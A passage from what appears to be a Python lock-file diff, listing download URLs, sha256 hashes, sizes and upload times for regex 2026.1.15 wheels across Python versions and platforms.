"https://files.pythonhosted.org/packages/78/84/d05f61142709474da3c0853222d91086d3e1372bcdab516c6fd8d80f3297/regex-2026.1.15-cp311-cp311-win_arm64.whl", hash = "sha256:41aef6f953283291c4e4e6850607bd71502be67779586a61472beacb315c97ec", size = 270374, upload-time = "2026-01-14T23:14:41.592Z" }, + { url = "https://files.pythonhosted.org/packages/92/81/10d8cf43c807d0326efe874c1b79f22bfb0fb226027b0b19ebc26d301408/regex-2026.1.15-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:4c8fcc5793dde01641a35905d6731ee1548f02b956815f8f1cab89e515a5bdf1", size = 489398, upload-time = "2026-01-14T23:14:43.741Z" }, + { url = "https://files.pythonhosted.org/packages/90/b0/7c2a74e74ef2a7c32de724658a69a862880e3e4155cba992ba04d1c70400/regex-2026.1.15-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bfd876041a956e6a90ad7cdb3f6a630c07d491280bfeed4544053cd434901681", size = 291339, upload-time = "2026-01-14T23:14:45.183Z" }, + { url = "https://files.pythonhosted.org/packages/19/4d/16d0773d0c818417f4cc20aa0da90064b966d22cd62a8c46765b5bd2d643/regex-2026.1.15-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:9250d087bc92b7d4899ccd5539a1b2334e44eee85d848c4c1aef8e221d3f8c8f", size = 289003, upload-time = "2026-01-14T23:14:47.25Z" }, + { url = "https://files.pythonhosted.org/packages/c6/e4/1fc4599450c9f0863d9406e944592d968b8d6dfd0d552a7d569e43bceada/regex-2026.1.15-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c8a154cf6537ebbc110e24dabe53095e714245c272da9c1be05734bdad4a61aa", size = 798656, upload-time = "2026-01-14T23:14:48.77Z" }, + { url = "https://files.pythonhosted.org/packages/b2/e6/59650d73a73fa8a60b3a590545bfcf1172b4384a7df2e7fe7b9aab4e2da9/regex-2026.1.15-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8050ba2e3ea1d8731a549e83c18d2f0999fbc99a5f6bd06b4c91449f55291804", size = 864252, upload-time = "2026-01-14T23:14:50.528Z" }, + { url = "https://files.pythonhosted.org/packages/6e/ab/1d0f4d50a1638849a97d731364c9a80fa304fec46325e48330c170ee8e80/regex-2026.1.15-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf065240704cb8951cc04972cf107063917022511273e0969bdb34fc173456c", size = 912268, upload-time = "2026-01-14T23:14:52.952Z" }, + { url = "https://files.pythonhosted.org/packages/dd/df/0d722c030c82faa1d331d1921ee268a4e8fb55ca8b9042c9341c352f17fa/regex-2026.1.15-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c32bef3e7aeee75746748643667668ef941d28b003bfc89994ecf09a10f7a1b5", size = 803589, upload-time = "2026-01-14T23:14:55.182Z" }, + { url = "https://files.pythonhosted.org/packages/66/23/33289beba7ccb8b805c6610a8913d0131f834928afc555b241caabd422a9/regex-2026.1.15-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d5eaa4a4c5b1906bd0d2508d68927f15b81821f85092e06f1a34a4254b0e1af3", size = 775700, upload-time = "2026-01-14T23:14:56.707Z" }, + { url = "https://files.pythonhosted.org/packages/e7/65/bf3a42fa6897a0d3afa81acb25c42f4b71c274f698ceabd75523259f6688/regex-2026.1.15-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:86c1077a3cc60d453d4084d5b9649065f3bf1184e22992bd322e1f081d3117fb", size = 787928, upload-time = "2026-01-14T23:14:58.312Z" }, + { url = "https://files.pythonhosted.org/packages/f4/f5/13bf65864fc314f68cdd6d8ca94adcab064d4d39dbd0b10fef29a9da48fc/regex-2026.1.15-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:2b091aefc05c78d286657cd4db95f2e6313375ff65dcf085e42e4c04d9c8d410", size = 858607, upload-time = "2026-01-14T23:15:00.657Z" }, + { url = "https://files.pythonhosted.org/packages/a3/31/040e589834d7a439ee43fb0e1e902bc81bd58a5ba81acffe586bb3321d35/regex-2026.1.15-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:57e7d17f59f9ebfa9667e6e5a1c0127b96b87cb9cede8335482451ed00788ba4", size = 763729, upload-time = "2026-01-14T23:15:02.248Z" }, + { url = "https://files.pythonhosted.org/packages/9b/84/6921e8129687a427edf25a34a5594b588b6d88f491320b9de5b6339a4fcb/regex-2026.1.15-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:c6c4dcdfff2c08509faa15d36ba7e5ef5fcfab25f1e8f85a0c8f45bc3a30725d", size = 850697, upload-time = "2026-01-14T23:15:03.878Z" }, + { url = "https://files.pythonhosted.org/packages/8a/87/3d06143d4b128f4229158f2de5de6c8f2485170c7221e61bf381313314b2/regex-2026.1.15-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:cf8ff04c642716a7f2048713ddc6278c5fd41faa3b9cab12607c7abecd012c22", size = 789849, upload-time = "2026-01-14T23:15:06.102Z" }, + { url = "https://files.pythonhosted.org/packages/77/69/c50a63842b6bd48850ebc7ab22d46e7a2a32d824ad6c605b218441814639/regex-2026.1.15-cp312-cp312-win32.whl", hash = "sha256:82345326b1d8d56afbe41d881fdf62f1926d7264b2fc1537f99ae5da9aad7913", size = 266279, upload-time = "2026-01-14T23:15:07.678Z" }, + { url = "https://files.pythonhosted.org/packages/f2/36/39d0b29d087e2b11fd8191e15e81cce1b635fcc845297c67f11d0d19274d/regex-2026.1.15-cp312-cp312-win_amd64.whl", hash = "sha256:4def140aa6156bc64ee9912383d4038f3fdd18fee03a6f222abd4de6357ce42a", size = 277166, upload-time = "2026-01-14T23:15:09.257Z" }, + { url = "https://files.pythonhosted.org/packages/28/32/5b8e476a12262748851fa8ab1b0be540360692325975b094e594dfebbb52/regex-2026.1.15-cp312-cp312-win_arm64.whl", hash = "sha256:c6c565d9a6e1a8d783c1948937ffc377dd5771e83bd56de8317c450a954d2056", size = 270415, upload-time = "2026-01-14T23:15:10.743Z" }, + { url = "https://files.pythonhosted.org/packages/f8/2e/6870bb16e982669b674cce3ee9ff2d1d46ab80528ee6bcc20fb2292efb60/regex-2026.1.15-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e69d0deeb977ffe7ed3d2e4439360089f9c3f217ada608f0f88ebd67afb6385e", size = 489164, upload-time = "2026-01-14T23:15:13.962Z" }, + { url = "https://files.pythonhosted.org/packages/dc/67/9774542e203849b0286badf67199970a44ebdb0cc5fb739f06e47ada72f8/regex-2026.1.15-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3601ffb5375de85a16f407854d11cca8fe3f5febbe3ac78fb2866bb220c74d10", size = 291218, upload-time = "2026-01-14T23:15:15.647Z" }, + { url = "https://files.pythonhosted.org/packages/b2/87/b0cda79f22b8dee05f774922a214da109f9a4c0eca5da2c9d72d77ea062c/regex-2026.1.15-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4c5ef43b5c2d4114eb8ea424bb8c9cec01d5d17f242af88b2448f5ee81caadbc", size = 288895, upload-time = "2026-01-14T23:15:17.788Z" }, + { url = "https://files.pythonhosted.org/packages/3b/6a/0041f0a2170d32be01ab981d6346c83a8934277d82c780d60b127331f264/regex-2026.1.15-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:968c14d4f03e10b2fd960f1d5168c1f0ac969381d3c1fcc973bc45fb06346599", size = 798680, upload-time = "2026-01-14T23:15:19.342Z" }, + { url = "https://files.pythonhosted.org/packages/58/de/30e1cfcdbe3e891324aa7568b7c968771f82190df5524fabc1138cb2d45a/regex-2026.1.15-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56a5595d0f892f214609c9f76b41b7428bed439d98dc961efafdd1354d42baae", size = 864210, upload-time = "2026-01-14T23:15:22.005Z" }, + { url = "https://files.pythonhosted.org/packages/64/44/4db2f5c5ca0ccd40ff052ae7b1e9731352fcdad946c2b812285a7505ca75/regex-2026.1.15-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf650f26087363434c4e560011f8e4e738f6f3e029b85d4904c50135b86cfa5", size = 912358, upload-time = "2026-01-14T23:15:24.569Z" }, + { url = "https://files.pythonhosted.org/packages/79/b6/e6a5665d43a7c42467138c8a2549be432bad22cbd206f5ec87162de74bd7/regex-2026.1.15-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18388a62989c72ac24de75f1449d0fb0b04dfccd0a1a7c1c43af5eb503d890f6", size = 803583, upload-time = "2026-01-14T23:15:26.526Z" }, + { url = "https://files.pythonhosted.org/packages/e7/53/7cd478222169d85d74d7437e74750005e993f52f335f7c04ff7adfda3310/regex-2026.1.15-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6d220a2517f5893f55daac983bfa9fe998a7dbcaee4f5d27a88500f8b7873788", size = 775782, upload-time = "2026-01-14T23:15:29.352Z" }, + { url = "https://files.pythonhosted.org/packages/ca/b5/75f9a9ee4b03a7c009fe60500fe550b45df94f0955ca29af16333ef557c5/regex-2026.1.15-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c9c08c2fbc6120e70abff5d7f28ffb4d969e14294fb2143b4b5c7d20e46d1714", size = 787978, upload-time = "2026-01-14T23:15:31.295Z" }, + { url = "https://files.pythonhosted.org/packages/72/b3/79821c826245bbe9ccbb54f6eadb7879c722fd3e0248c17bfc90bf54e123/regex-2026.1.15-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7ef7d5d4bd49ec7364315167a4134a015f61e8266c6d446fc116a9ac4456e10d", size = 858550, upload-time = "2026-01-14T23:15:33.558Z" }, + { url = "https://files.pythonhosted.org/packages/4a/85/2ab5f77a1c465745bfbfcb3ad63178a58337ae8d5274315e2cc623a822fa/regex-2026.1.15-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:6e42844ad64194fa08d5ccb75fe6a459b9b08e6d7296bd704460168d58a388f3", size = 763747, upload-time = "2026-01-14T23:15:35.206Z" }, + { url = "https://files.pythonhosted.org/packages/6d/84/c27df502d4bfe2873a3e3a7cf1bdb2b9cc10284d1a44797cf38bed790470/regex-2026.1.15-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:cfecdaa4b19f9ca534746eb3b55a5195d5c95b88cac32a205e981ec0a22b7d31", size = 850615, upload-time = "2026-01-14T23:15:37.523Z" }, + { url = "https://files.pythonhosted.org/packages/7d/b7/658a9782fb253680aa8ecb5ccbb51f69e088ed48142c46d9f0c99b46c575/regex-2026.1.15-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:08df9722d9b87834a3d701f3fca570b2be115654dbfd30179f30ab2f39d606d3", size = 789951, upload-time = "2026-01-14T23:15:39.582Z" }, + { url = "https://files.pythonhosted.org/packages/fc/2a/5928af114441e059f15b2f63e188bd00c6529b3051c974ade7444b85fcda/regex-2026.1.15-cp313-cp313-win32.whl", hash = "sha256:d426616dae0967ca225ab12c22274eb816558f2f99ccb4a1d52ca92e8baf180f", size = 266275, upload-time = "2026-01-14T23:15:42.108Z" }, + { url = "https://files.pythonhosted.org/packages/4f/16/5bfbb89e435897bff28cf0352a992ca719d9e55ebf8b629203c96b6ce4f7/regex-2026.1.15-cp313-cp313-win_amd64.whl", hash = "sha256:febd38857b09867d3ed3f4f1af7d241c5c50362e25ef43034995b77a50df494e", size = 277145, upload-time = "2026-01-14T23:15:44.244Z" }, + { url = "https://files.pythonhosted.org/packages/56/c1/a09ff7392ef4233296e821aec5f78c51be5e91ffde0d163059e50fd75835/regex-2026.1.15-cp313-cp313-win_arm64.whl", hash = "sha256:8e32f7896f83774f91499d239e24cebfadbc07639c1494bb7213983842348337", size = 270411, upload-time = "2026-01-14T23:15:45.858Z" }, + { url = "https://files.pythonhosted.org/packages/3c/38/0cfd5a78e5c6db00e6782fdae70458f89850ce95baa5e8694ab91d89744f/regex-2026.1.15-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:ec94c04149b6a7b8120f9f44565722c7ae31b7a6d2275569d2eefa76b83da3be", size = 492068, upload-time = "2026-01-14T23:15:47.616Z" }, + { url = "https://files.pythonhosted.org/packages/50/72/6c86acff16cb7c959c4355826bbf06aad670682d07c8f3998d9ef4fee7cd/regex-2026.1.15-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40c86d8046915bb9aeb15d3f3f15b6fd500b8ea4485b30e1bbc799dab3fe29f8", size = 292756, upload-time = "2026-01-14T23:15:49.307Z" }, + { url = "https://files.pythonhosted.org/packages/4e/58/df7fb69eadfe76526ddfce28abdc0af09ffe65f20c2c90932e89d705153f/regex-2026.1.15-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:726ea4e727aba21643205edad8f2187ec682d3305d790f73b7a51c7587b64bdd", size = 291114, upload-time = "2026-01-14T23:15:51.484Z" }, + { url = "https://files.pythonhosted.org/packages/ed/6c/a4011cd1cf96b90d2cdc7e156f91efbd26531e822a7fbb82a43c1016678e/regex-2026.1.15-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1cb740d044aff31898804e7bf1181cc72c03d11dfd19932b9911ffc19a79070a", size = 807524, upload-time = "2026-01-14T23:15:53.102Z" }, + { url = "https://files.pythonhosted.org/packages/1d/25/a53ffb73183f69c3e9f4355c4922b76d2840aee160af6af5fac229b6201d/regex-2026.1.15-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:05d75a668e9ea16f832390d22131fe1e8acc8389a694c8febc3e340b0f810b93", size = 873455, upload-time = "2026-01-14T23:15:54.956Z" }, + { url = "https://files.pythonhosted.org/packages/66/0b/8b47fc2e8f97d9b4a851736f3890a5f786443aa8901061c55f24c955f45b/regex-2026.1.15-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d991483606f3dbec93287b9f35596f41aa2e92b7c2ebbb935b63f409e243c9af", size = 915007, upload-time = "2026-01-14T23:15:57.041Z" }, + { url = "https://files.pythonhosted.org/packages/c2/fa/97de0d681e6d26fabe71968dbee06dd52819e9a22fdce5dac7256c31ed84/regex-2026.1.15-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:194312a14819d3e44628a44ed6fea6898fdbecb0550089d84c403475138d0a09", size = 812794, upload-time = "2026-01-14T23:15:58.916Z" }, + { url = "https://files.pythonhosted.org/packages/22/38/e752f94e860d429654aa2b1c51880bff8dfe8f084268258adf9151cf1f53/regex-2026.1.15-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fe2fda4110a3d0bc163c2e0664be44657431440722c5c5315c65155cab92f9e5", size = 781159, upload-time = "2026-01-14T23:16:00.817Z" }, + { url = "https://files.pythonhosted.org/packages/e9/a7/d739ffaef33c378fc888302a018d7f81080393d96c476b058b8c64fd2b0d/regex-2026.1.15-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:124dc36c85d34ef2d9164da41a53c1c8c122cfb1f6e1ec377a1f27ee81deb794", size = 795558, upload-time = "2026-01-14T23:16:03.267Z" }, + { url = "https://files.pythonhosted.org/packages/3e/c4/542876f9a0ac576100fc73e9c75b779f5c31e3527576cfc9cb3009dcc58a/regex-2026.1.15-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:a1774cd1981cd212506a23a14dba7fdeaee259f5deba2df6229966d9911e767a", size = 868427, upload-time = "2026-01-14T23:16:05.646Z" }, + { url = "https://files.pythonhosted.org/packages/fc/0f/d5655bea5b22069e32ae85a947aa564912f23758e112cdb74212848a1a1b/regex-2026.1.15-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:b5f7d8d2867152cdb625e72a530d2ccb48a3d199159144cbdd63870882fb6f80", size = 769939, upload-time = "2026-01-14T23:16:07.542Z" }, + { url = "https://files.pythonhosted.org/packages/20/06/7e18a4fa9d326daeda46d471a44ef94201c46eaa26dbbb780b5d92cbfdda/regex-2026.1.15-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:492534a0ab925d1db998defc3c302dae3616a2fc3fe2e08db1472348f096ddf2", size = 854753, upload-time = "2026-01-14T23:16:10.395Z" }, + { url = "https://files.pythonhosted.org/packages/3b/67/dc8946ef3965e166f558ef3b47f492bc364e96a265eb4a2bb3ca765c8e46/regex-2026.1.15-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:c661fc820cfb33e166bf2450d3dadbda47c8d8981898adb9b6fe24e5e582ba60", size = 799559, upload-time = "2026-01-14T23:16:12.347Z" }, + { url = "https://files.pythonhosted.org/packages/a5/61/1bba81ff6d50c86c65d9fd84ce9699dd106438ee4cdb105bf60374ee8412/regex-2026.1.15-cp313-cp313t-win32.whl", hash = "sha256:99ad739c3686085e614bf77a508e26954ff1b8f14da0e3765ff7abbf7799f952", size = 268879, upload-time = "2026-01-14T23:16:14.049Z" }, + { url = "https://files.pythonhosted.org/packages/e9/5e/cef7d4c5fb0ea3ac5c775fd37db5747f7378b29526cc83f572198924ff47/regex-2026.1.15-cp313-cp313t-win_amd64.whl", hash = "sha256:32655d17905e7ff8ba5c764c43cb124e34a9245e45b83c22e81041e1071aee10", size = 280317, upload-time = "2026-01-14T23:16:15.718Z" }, + { url = "https://files.pythonhosted.org/packages/b4/52/4317f7a5988544e34ab57b4bde0f04944c4786128c933fb09825924d3e82/regex-2026.1.15-cp313-cp313t-win_arm64.whl", hash = "sha256:b2a13dd6a95e95a489ca242319d18fc02e07ceb28fa9ad146385194d95b3c829", size = 271551, upload-time = "2026-01-14T23:16:17.533Z" }, + { url = "https://files.pythonhosted.org/packages/52/0a/47fa888ec7cbbc7d62c5f2a6a888878e76169170ead271a35239edd8f0e8/regex-2026.1.15-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:d920392a6b1f353f4aa54328c867fec3320fa50657e25f64abf17af054fc97ac", size = 489170, upload-time = "2026-01-14T23:16:19.835Z" }, + { url = "https://files.pythonhosted.org/packages/ac/c4/d000e9b7296c15737c9301708e9e7fbdea009f8e93541b6b43bdb8219646/regex-2026.1.15-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:b5a28980a926fa810dbbed059547b02783952e2efd9c636412345232ddb87ff6", size = 291146, upload-time = "2026-01-14T23:16:21.541Z" }, + { url = "https://files.pythonhosted.org/packages/f9/b6/921cc61982e538682bdf3bdf5b2c6ab6b34368da1f8e98a6c1ddc503c9cf/regex-2026.1.15-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:621f73a07595d83f28952d7bd1e91e9d1ed7625fb7af0064d3516674ec93a2a2", size = 288986, upload-time = "2026-01-14T23:16:23.381Z" }, + { url = "https://files.pythonhosted.org/packages/ca/33/eb7383dde0bbc93f4fb9d03453aab97e18ad4024ac7e26cef8d1f0a2cff0/regex-2026.1.15-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3d7d92495f47567a9b1669c51fc8d6d809821849063d168121ef801bbc213846", size = 799098, upload-time = "2026-01-14T23:16:25.088Z" }, + { url = "https://files.pythonhosted.org/packages/27/56/b664dccae898fc8d8b4c23accd853f723bde0f026c747b6f6262b688029c/regex-2026.1.15-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8dd16fba2758db7a3780a051f245539c4451ca20910f5a5e6ea1c08d06d4a76b", size = 864980, upload-time = "2026-01-14T23:16:27.297Z" }, + { url = "https://files.pythonhosted.org/packages/16/40/0999e064a170eddd237bae9ccfcd8f28b3aa98a38bf727a086425542a4fc/regex-2026.1.15-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1e1808471fbe44c1a63e5f577a1d5f02fe5d66031dcbdf12f093ffc1305a858e", size = 911607, upload-time = "2026-01-14T23:16:29.235Z" }, + { url = "https://files.pythonhosted.org/packages/07/78/c77f644b68ab054e5a674fb4da40ff7bffb2c88df58afa82dbf86573092d/regex-2026.1.15-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0751a26ad39d4f2ade8fe16c59b2bf5cb19eb3d2cd543e709e583d559bd9efde", size = 803358, upload-time = "2026-01-14T23:16:31.369Z" }, + { url = "https://files.pythonhosted.org/packages/27/31/d4292ea8566eaa551fafc07797961c5963cf5235c797cc2ae19b85dfd04d/regex-2026.1.15-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0f0c7684c7f9ca241344ff95a1de964f257a5251968484270e91c25a755532c5", size = 775833, upload-time = "2026-01-14T23:16:33.141Z" }, + { url = "https://files.pythonhosted.org/packages/ce/b2/cff3bf2fea4133aa6fb0d1e370b37544d18c8350a2fa118c7e11d1db0e14/regex-2026.1.15-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:74f45d170a21df41508cb67165456538425185baaf686281fa210d7e729abc34", size = 788045, upload-time = "2026-01-14T23:16:35.005Z" }, + { url = "https://files.pythonhosted.org/packages/8d/99/2cb9b69045372ec877b6f5124bda4eb4253bc58b8fe5848c973f752bc52c/regex-2026.1.15-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f1862739a1ffb50615c0fde6bae6569b5efbe08d98e59ce009f68a336f64da75", size = 859374, upload-time = "2026-01-14T23:16:36.919Z" }, + { url = "https://files.pythonhosted.org/packages/09/16/710b0a5abe8e077b1729a562d2f297224ad079f3a66dce46844c193416c8/regex-2026.1.15-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:453078802f1b9e2b7303fb79222c054cb18e76f7bdc220f7530fdc85d319f99e", size = 763940, upload-time = "2026-01-14T23:16:38.685Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d1/7585c8e744e40eb3d32f119191969b91de04c073fca98ec14299041f6e7e/regex-2026.1.15-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:a30a68e89e5a218b8b23a52292924c1f4b245cb0c68d1cce9aec9bbda6e2c160", size = 850112, upload-time = "2026-01-14T23:16:40.646Z" }, + { url = "https://files.pythonhosted.org/packages/af/d6/43e1dd85df86c49a347aa57c1f69d12c652c7b60e37ec162e3096194a278/regex-2026.1.15-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9479cae874c81bf610d72b85bb681a94c95722c127b55445285fb0e2c82db8e1", size = 789586, upload-time = "2026-01-14T23:16:42.799Z" }, + { url = "https://files.pythonhosted.org/packages/93/38/77142422f631e013f316aaae83234c629555729a9fbc952b8a63ac91462a/regex-2026.1.15-cp314-cp314-win32.whl", hash = "sha256:d639a750223132afbfb8f429c60d9d318aeba03281a5f1ab49f877456448dcf1", size = 271691, upload-time = "2026-01-14T23:16:44.671Z" }, + { url = "https://files.pythonhosted.org/packages/4a/a9/ab16b4649524ca9e05213c1cdbb7faa85cc2aa90a0230d2f796cbaf22736/regex-2026.1.15-cp314-cp314-win_amd64.whl", hash = "sha256:4161d87f85fa831e31469bfd82c186923070fc970b9de75339b68f0c75b51903", size = 280422, upload-time = "2026-01-14T23:16:46.607Z" }, + { url = "https://files.pythonhosted.org/packages/be/2a/20fd057bf3521cb4791f69f869635f73e0aaf2b9ad2d260f728144f9047c/regex-2026.1.15-cp314-cp314-win_arm64.whl", hash = "sha256:91c5036ebb62663a6b3999bdd2e559fd8456d17e2b485bf509784cd31a8b1705", size = 273467, upload-time = "2026-01-14T23:16:48.967Z" }, + { url = "https://files.pythonhosted.org/packages/ad/77/0b1e81857060b92b9cad239104c46507dd481b3ff1fa79f8e7f865aae38a/regex-2026.1.15-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:ee6854c9000a10938c79238de2379bea30c82e4925a371711af45387df35cab8", size = 492073, upload-time = "2026-01-14T23:16:51.154Z" }, + { url = "https://files.pythonhosted.org/packages/70/f3/f8302b0c208b22c1e4f423147e1913fd475ddd6230565b299925353de644/regex-2026.1.15-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:2c2b80399a422348ce5de4fe40c418d6299a0fa2803dd61dc0b1a2f28e280fcf", size = 292757, upload-time = "2026-01-14T23:16:53.08Z" }, + { url = "https://files.pythonhosted.org/packages/bf/f0/ef55de2460f3b4a6da9d9e7daacd0cb79d4ef75c64a2af316e68447f0df0/regex-2026.1.15-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:dca3582bca82596609959ac39e12b7dad98385b4fefccb1151b937383cec547d", size = 291122, upload-time = "2026-01-14T23:16:55.383Z" }, + { url = "https://files.pythonhosted.org/packages/cf/55/bb8ccbacabbc3a11d863ee62a9f18b160a83084ea95cdfc5d207bfc3dd75/regex-2026.1.15-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ef71d476caa6692eea743ae5ea23cde3260677f70122c4d258ca952e5c2d4e84", size = 807761, upload-time = "2026-01-14T23:16:57.251Z" }, + { url = "https://files.pythonhosted.org/packages/8f/84/f75d937f17f81e55679a0509e86176e29caa7298c38bd1db7ce9c0bf6075/regex-2026.1.15-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c243da3436354f4af6c3058a3f81a97d47ea52c9bd874b52fd30274853a1d5df", size = 873538, upload-time = "2026-01-14T23:16:59.349Z" }, + { url = "https://files.pythonhosted.org/packages/b8/d9/0da86327df70349aa8d86390da91171bd3ca4f0e7c1d1d453a9c10344da3/regex-2026.1.15-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8355ad842a7c7e9e5e55653eade3b7d1885ba86f124dd8ab1f722f9be6627434", size = 915066, upload-time = "2026-01-14T23:17:01.607Z" }, + { url = "https://files.pythonhosted.org/packages/2a/5e/f660fb23fc77baa2a61aa1f1fe3a4eea2bbb8a286ddec148030672e18834/regex-2026.1.15-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f192a831d9575271a22d804ff1a5355355723f94f31d9eef25f0d45a152fdc1a", size = 812938, upload-time = "2026-01-14T23:17:04.366Z" }, + { url = "https://files.pythonhosted.org/packages/69/33/a47a29bfecebbbfd1e5cd3f26b28020a97e4820f1c5148e66e3b7d4b4992/regex-2026.1.15-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:166551807ec20d47ceaeec380081f843e88c8949780cd42c40f18d16168bed10", size = 781314, upload-time = "2026-01-14T23:17:06.378Z" }, + { url = "https://files.pythonhosted.org/packages/65/ec/7ec2bbfd4c3f4e494a24dec4c6943a668e2030426b1b8b949a6462d2c17b/regex-2026.1.15-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:f9ca1cbdc0fbfe5e6e6f8221ef2309988db5bcede52443aeaee9a4ad555e0dac", size = 795652, upload-time = "2026-01-14T23:17:08.521Z" }, + { url = "https://files.pythonhosted.org/packages/46/79/a5d8651ae131fe27d7c521ad300aa7f1c7be1dbeee4d446498af5411b8a9/regex-2026.1.15-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b30bcbd1e1221783c721483953d9e4f3ab9c5d165aa709693d3f3946747b1aea", size = 868550, upload-time = "2026-01-14T23:17:10.573Z" }, + { url = "https://files.pythonhosted.org/packages/06/b7/25635d2809664b79f183070786a5552dd4e627e5aedb0065f4e3cf8ee37d/regex-2026.1.15-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2a8d7b50c34578d0d3bf7ad58cde9652b7d683691876f83aedc002862a35dc5e", size = 769981, upload-time = "2026-01-14T23:17:12.871Z" }, + { url = "https://files.pythonhosted.org/packages/16/8b/fc3fcbb2393dcfa4a6c5ffad92dc498e842df4581ea9d14309fcd3c55fb9/regex-2026.1.15-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:9d787e3310c6a6425eb346be4ff2ccf6eece63017916fd77fe8328c57be83521", size = 854780, upload-time = "2026-01-14T23:17:14.837Z" }, + { url = "https://files.pythonhosted.org/packages/d0/38/dde117c76c624713c8a2842530be9c93ca8b606c0f6102d86e8cd1ce8bea/regex-2026.1.15-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:619843841e220adca114118533a574a9cd183ed8a28b85627d2844c500a2b0db", size = 799778, upload-time = "2026-01-14T23:17:17.369Z" }, + { url = "https://files.pythonhosted.org/packages/e3/0d/3a6cfa9ae99606afb612d8fb7a66b245a9d5ff0f29bb347c8a30b6ad561b/regex-2026.1.15-cp314-cp314t-win32.whl", hash = "sha256:e90b8db97f6f2c97eb045b51a6b2c5ed69cedd8392459e0642d4199b94fabd7e", size = 274667, upload-time = "2026-01-14T23:17:19.301Z" }, + { url = "https://files.pythonhosted.org/packages/5b/b2/297293bb0742fd06b8d8e2572db41a855cdf1cae0bf009b1cb74fe07e196/regex-2026.1.15-cp314-cp314t-win_amd64.whl", hash = 